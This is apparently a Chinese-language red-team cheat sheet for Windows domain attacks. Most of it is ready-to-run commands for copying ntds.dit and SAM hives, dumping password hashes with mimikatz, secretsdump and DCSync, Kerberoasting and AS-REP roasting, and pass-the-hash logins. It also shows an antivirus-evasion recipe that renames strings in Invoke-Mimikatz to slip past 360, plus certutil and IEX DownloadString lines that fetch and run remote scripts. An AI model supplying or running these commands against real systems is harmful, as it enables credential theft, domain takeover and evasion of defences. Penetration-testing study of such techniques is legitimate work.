在一般情况下,Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(Volume Shadow Copy Service,VSS),得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。

其获取Ntds.dit的基本步骤如下:

  1. 创建目标主机的卷影拷贝(包含Windows上的全部文件)
  2. 然后在创建的卷影拷贝中将ntds.dit复制出来
  3. 最后将当前创建的卷影拷贝删除

提取SAM文件&Ntds.dit文件

vssadmin

其适用于:

  • Windows 10
  • Windows 8.1
  • Windows Server 2016
  • Windows Server 2012 R2
  • Windows Server 2012
  • Windows Server 2008 R2
  • Windows Server 2008

1.创建一个C盘的卷影拷贝

1
vssadmin create shadow /for=C:

image-20201025143232175

2.然后在创建的卷影拷贝中将ntds.dit复制到C盘中:

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit

image-20201025143254201

3.最后将刚刚创建的卷影拷贝删除

1
vssadmin delete shadows /for=c: /quiet
vssown.vbs

下载脚本

1
certutil -urlcache -split -f http://192.168.179.1:8000/vssown.vbs
  1. 创建卷影拷贝
1
2
cscript vssown.vbs /start  
cscript vssown.vbs /create c

image-20201101225944092

  1. 列出卷影
1
cscript vssown.vbs /list

image-20201101230108859

  1. 在创建的卷影拷贝中将ntds.dit复制到C盘中:
1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit C:\ntds3.dit

这里的ID和Device object需要用到。

image-20201101230322426

  1. 删除
1
cscript vssown.vbs /delete {B2245D4A-134F-4CF1-A864-E11BDC653A5C}

拷贝好后,删除即可。

ntdsuitil

创建一个镜像

1
ntdsutil snapshot "activate instance ntds" create quit quit

image-20201025203314897

将刚刚创建的镜像挂载

1
2
ntdsutil snapshot "mount {ID}" quit quit  
ntdsutil snapshot "mount {395cb146-0a0c-4be1-b7f9-3edb684804d7}" quit quit

image-20201025203429940

image-20201025203441323

将镜像里面的ntds.dit复制出来。

1
copy C:\$SNAP_202010251510_VOLUMEC$\windows\ntds\ntds.dit c:\ntds_2.dit

image-20201025203530071

image-20201025203647522

复制出来后,删除挂载的镜像。

1
2
3
ntdsutil snapshot "mount {ID}" "delete {ID}" quit quit  

ntdsutil snapshot "mount {395cb146-0a0c-4be1-b7f9-3edb684804d7}" "delete {395cb146-0a0c-4be1-b7f9-3edb684804d7}" quit quit

image-20201025203637300

IFM提取
1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

执行该命令后,会自动将ntds.dit文件复制到C:\test\Active Directory\ntds.dit,同时会将SYSTEM和SECURITY复制到C:\test\registry目录下:

1
copy "C:\test\Active Directory\ntds.dit" C:\ntds.dit

拿到ntds.dit后就可以删除test文件夹了

image-20201101231542545

nishang/Copy-VSS.ps1
1
IEX (New-Object Net.WebClient).DownloadString('http://xxx.com/nishang/Gather/Copy-VSS

image-20201025213738505

成功执行后,会将SAM、SYSTEM、Ntds.dit文件复制到当前目录。

万能复制. Invoke-NinjaCopy.ps1

下载脚本然后导入

1
2
3
4
5
6
7
certutil -urlcache -split -f http://192.168.179.1:8000/Invoke-NinjaCopy.ps1  

Import-Module .\Invoke-NinjaCopy.ps1

Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Documents\ntds.dit"

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\Users\Administrator\Documents\system.hive"

image-20201025222233610

这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036(卷影拷贝服务进入运行状态的标志)。

注册表导出
1
2
3
reg save HKLM\SYSTEM system.save  
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
CVE-2021-36934 HiveNightmare

Github:HiveNightmare

相关文章:HiveNightmare aka #SeriousSAM — anybody can read the registry in Windows 10

利用条件:

  1. 拥有一个还原点/卷影副本
  2. sam文件普通用户可访问

image-20210802215203833

当满足利用条件时,执行HiveNightmare.exe,就会在当前文件夹下生成三个文件,分别是system.save、sam.save、security.save。

image-20210802222923221

将其下载到本地,使用mimikatz或者是secretdump.py获取hash。

提取HASH

Esedbexport & ntdsxtract
1
2
3
4
5
apt-get install autoconf automake autopoint libtool pkg-config     // 安装依赖  
wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
cd libesedb-experimental-20200418
./configure
make && make install && ldconfig
1
esedbexport -m tables ntds.dit     

使用ntdsxtract导出

1
2
dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>      
// 命令格式python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt

从分离出来的表中提取域中计算机信息。

1
python dscomputers.py datatable.3 computer_output --csvoutfile domain_computers_info.csv

注意,使用Ntdsxtract导出Ntds.dit表中的域散列值,要提供三个文件:即Ntds.dit导出的ntds.dit.export文件夹中的datatable.3、link_table.5这两个表和之前获得的“SYSTEM”文件:

secretsdump.py

这个可以将用注册表导出来的三个文件,获取hash。

1
python3 secretsdump.py -sam /tmp/sam.save -system /tmp/system.save -security /tmp/security.save LOCAL

或者是

1
python secretsdump.py -system /tmp/system.save -ntds /tmp/ntds.dit LOCAL
mimikatz

下载地址:mimikatz

1
2
3
privilege::debug  

lsadump::dcsync /domain:xxx.com /all /csvlsadump::dcsync /domain:god.org /all /csv
Invoke-DCSync.ps1

下载地址:Invoke-DCSync.ps1

该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。

1
2
3
4
5
6
7
8
# 导入模块  
Import-Module .\Invoke-DCSync.ps1

# 导出域内所有用户的hash
Invoke-DCSync -DumpForest | ft -wrap -autosize

# 导出域内administrator账户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

image-20201102164443074

Kerbrute

Kerbrute是一种流行的枚举工具,通过滥用Kerberos预身份验证来暴力破解和枚举有效的活动目录用户。

通过暴力破解Kerberos预身份验证,将触发帐户登录失败事件,该事件会向蓝队发出红色标志。 通过Kerberos进行暴力破解时,您可以通过仅向KDC发送单个UDP帧来进行暴力破解,从而允许您从单词列表中枚举域中的用户。下载链接

1
./kerbrute userenum --dc domain -d domain User.txt

Impacket

安装

1
2
3
wget https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_19/impacket-0.9.19.tar.gz && tar xzvf impacket-0.9.19.tar.gz && cd Impacket-0.9.19  

pip install .

代码在/usr/share/doc/python3-impacket/examples/

1
cd /usr/share/doc/python3-impacket/examples/

SPN

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

SPN分为:

  1. 注册在机器账号下的,此时服务权限为当一个服务的权限为 Local SystemNetwork Service

  2. 注册在AD目录域内用户下的

机器账号是有权限可以手动注册SPN,普通用户是没有权限注册SPN。但是如果在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限。那么该域用户也是可以注册服务账号

Kerberoasting 攻击

域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。

查询SPN账号(powershell)

1
Setspn -Q /

请求SPN

1
2
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Username/Domain"

之后可以用mimikatz导出票据

1
mimikatz # kerberos::list /export

破解票据

https://github.com/nidem/kerberoast

1
python3 tgsrepcrack.py pass.txt "kirbi-file"

GetUserSPNs.py

1
python3 GetUserSPNs.py domain/username:password -dc-ip MACHINE_IP -request

转储kerberos的hash。之后可以使用hashcat 13100模式爆破。

GetNPUsers.py

无密码获得票据

1
GetNPUsers.py domain/user -no-pass

如果成功的话会输出Kerberos 5 AS-REP etype 23加密的hash。

获取UF_DONT_REQUIRE_PREAUTH设置的用户列表

1
GetNPUsers.py domain/user:password 或 GetNPUsers.py domain/user 

需要密码,不指定密码脚本会询问。

获取所有用户的票据

1
GetNPUsers.py domain/emily:password -request 或 GetNPUsers.py domain/emily。

无密码获得用户列表的TGT信息

1
GetNPUsers.py domain/ -no-pass -usersfile users.txt

secretsdump.py

默认通过DRSUAPI方式检索密码hash

1
python3 secretsdump.py domain/username:password@ip

psexec.py (pass the password攻击)

只要有密码散列,可以无密码getshell。

1
python3 psexec.py -hashes LMHASH:NTHASH username@domain

wmiexec.py

1
python3 wmiexec.py -hashes LMHASH:NTHASH [domain/]username@[ip/target]

evil-winrm

安装

1
gem install evil-winrm

获得shell

需要密码

1
evil-winrm -i 10.10.13.37 -u svc-demo

pass the password

也是需要密码散列,和psexec不同的是:只需要NTHASH

1
evil-winrm -i ip -u administrator -H NTHASH 

pth-winexe

Rubeus

Rubeus:Git项目地址和教程

参考链接

后渗透

抓取密码

猕猴桃获取密码

powerhsell版猕猴桃

Invoke-Mimikatz.ps1 Bypass360
制作
1
2
3
4
5
6
7
sed -i -e 's/Invoke-Mimikatz/Invoke-FZZYYDS/g' Invoke-Mimikatz.ps1 \
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 \
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 \
sed -i -e 's/DumpCreds/DumpFZZ/g' Invoke-Mimikatz.ps1 \
sed -i -e 's/ArgumentPtr/FZZNoOne/g' Invoke-Mimikatz.ps1 \
sed -i -e 's/CallDllMainSC1/FZZCoool/g' Invoke-Mimikatz.ps1 \
sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1

使用ISESteroids来混淆代码,在Powershell下安装。

1
Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force

安装好后,打开Powershell_ISE,

1
Start-Steroids
本地方式加载
1
powershell -ExecutionPolicy bypass 'Import-Module .\2.ps1;Invoke-FZZYYDS'

20210805-16:16:15-_QShZWi_RTiAtc_QShZWi_1628151375257_QShZWi_RTiAtc

远程方式加载
1
powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('https://IP/Bypass360-Invoke-Mimikatz.ps1');Invoke-FZZYYDS"

参考: